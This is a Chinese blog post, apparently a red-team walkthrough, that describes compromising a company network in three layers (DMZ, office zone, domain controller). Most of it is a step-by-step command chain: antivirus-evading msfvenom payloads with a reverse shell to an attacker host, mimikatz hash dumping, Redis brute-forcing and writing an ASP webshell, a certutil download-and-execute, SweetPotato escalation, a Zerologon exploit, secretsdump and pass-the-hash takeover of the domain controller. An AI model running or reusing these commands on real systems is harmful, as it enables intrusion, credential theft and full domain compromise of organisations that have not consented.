【攻防实战】系列一-使用metasploit打穿某集团

原创于 2025-10-12 20:00:00 发布 · 1.4k 阅读

26 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

1.红蓝攻防同时被 2 个专栏收录

31 篇文章

订阅专栏

1. 攻防实战

31 篇文章

订阅专栏

就算有一天我一无所有，也不缺从头再来的勇气

前言

网络安全技术学习，承认⾃⼰的弱点不是丑事，只有对原理了然于⼼，才能突破更多的限制。

拥有快速学习能力的安全研究员，是不能有短板的，有的只能是大量的标准板和几块长板。

知识⾯，决定看到的攻击⾯有多⼴；知识链，决定发动的杀伤链有多深。

第一层 DMZ区

msf免杀拿shell

使用msfvenom生成免杀木马payload，里面的IP和端口自行修改，就是反弹shell的kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin

使用分离免杀工具生成loader.exe文件

对生成的exe文件进行加壳免杀

免杀效果如下

免杀之后通过蚁剑上传到server-bt上

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 6666
run

蚁剑运行

getuid

ps

migrate 476

msf内网渗透

load mimikatz # 加载Mimikatz模块

抓取Hash

meterpreter > mimikatz_command -f samdump::hashes

hashdump

然后抓到了 hash

通过解密得到了 administrator 的密码

route print # 打印路由信息

对内网进行扫描 arp 存活

run post/windows/gather/arp_scanner rhosts=192.168.59.0/24

配置路由

meterpreter > run autoroute -s 192.168.59.0/24

开启远程桌面

run post/windows/manage/enable_rdp

成功开启了远程桌面，并且生成了一个txt文件，这个txt文件往后可用来关闭远程桌面，关闭命令

run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt

绕过火绒添加用户

蚂蚁剑或者cs上传添加用户.exe

运行文件

帐号：hxxxr 密码：Pxxxxd

远程登录server-bt

权限提升

使用psexec.exe可以提升到system权限

psexec.exe -accepteula -s -i -d cmd.exe

但是桌面还是之前用户的权限启动的

为了完全提权，我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器

在任务管理器里面我们结束掉之前由之前账号开启的桌面进程

然后再添加一个由system权限下开启的桌面进程

再点入看现在登入的账号是

第二层办公区

Earthworm穿透

上传EW（Earthworm）到C:/wwwroot/

服务器端执行以下命令

execute C:\wwwroot\ew.exe -s ssocksd -l 1090

这里还需要修改proxychains.conf配置文件

$ vim /etc/proxychains.conf
socks5 x.x.x.x 1090

探测内网网段存活主机

proxychains nmap -sT -Pn -p 80 192.168.59.0/24

192.168.59.4是存活的，我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破

proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379

得到Redis口令

连接redis

proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx

备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程

代理蚁剑进行连接这个shell

成功连接到server-redis

并查看权限

利用蚁剑把SweetPotato.exe（甜土豆）上传到C:/Redis/或者C:/ProgramData/目录下

成功进行提权

msf正向免杀木马拿到shell

Earthworm穿透

挂代理，通过之前上传的EW（Earthworm）

服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)

execute C:\wwwroot\ew.exe -s ssocksd -l 1090

这里还需要修改proxychains.conf配置文件

$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去（因为无法访问外网，反向出不来），msf正向连接。

使用分离免杀工具生成loader.exe文件

改名为msf1.exe，进行加壳免杀

免杀效果如下

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀)，火绒未告警

通过redis的shell进行操作，192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe

再通过提权工具进行执行

C:\ProgramData\xxxx.exe -i -c "msf1.exe"

也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了

msf通过代理开启监听

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.59.4
set lport 4444
run

成功获取服务器的shell，之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。

ps

migrate 3992
getuid
getsystem
getuid

添加账户和远程连接同第一层

msf内网渗透

load mimikatz # 加载Mimikatz模块

抓取Hash

meterpreter > mimikatz_command -f samdump::hashes

hashdump

得到12SERVER-REDIS账号密码：

route print # 打印路由信息

配置路由

meterpreter > run autoroute -s 10.10.10.0/24

和

通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下

探测内网段存活

nbtscan.exe 10.10.10.0/24

ipconfig /all

10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器

添加完路由后可以通过msf访问所有机器，访问域控

proxychains curl 10.10.10.201

第三层核心区-域控

zerologon（CVE-2020-1472）漏洞复现

这里已经满足触发zerologon的两个条件，能ping通域控制器，知道域控计算机名，当然最后dump出域内所有hash的时候需要域名

置空域控机器用户NTLM hash

proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201

接下来用置空的机器账户dump所有hash

proxychains secretsdump.py -hashes :31d6cfxxxxxxx089c0 'xxxxx.xx/12server-dc$@10.10.10.201'

(890c这个hash就是"空"的NTML hash）

我们的目标是获得域内administrator的hash，然后就可以hash传递，登陆任意域内机器

proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201

利用 psexec(PTH)上线server-dc到 MSF

proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.201
set SMBUser Administrator
set SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387
set SMBDomain xxxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set  LPORT 4446 
run

成功获取到shell

利用 psexec 上线server-ex13到 MSF：

proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.209
set SMBUser Administrator
set SMBPass aad3bxxxxxxxee:42exxxxxxx387
set SMBDomain xxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set  LPORT 4447 
run

网络安全感悟

网络安全是一个长期的过程，因为网络安全没有终点，不管是网络安全企业，还是在网络安全行业各种不同方向的从业人员，不管你选择哪个方向，只有在这条路上坚持不懈，才能在这条路上走的更远，走的更好，不然你肯定走不远，迟早会转行或者被淘汰，把时间全浪费掉。

如果你觉得自己是真的热爱网络安全这个行业，坚持走下去就可以了，不用去管别人，现在就是一个大浪淘金的时代，淘下去的是沙子，留下来的才是金子，正所谓，千淘万漉虽辛苦，吹尽狂沙始到金，网络安全的路还很长，一生只做一件事，坚持做好一件事！

攻防交流群

声明

文笔生疏，措辞浅薄，敬请各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

转载声明：平凡安全拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完

CSDN:
https://rdyx0.blog.csdn.net/

公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85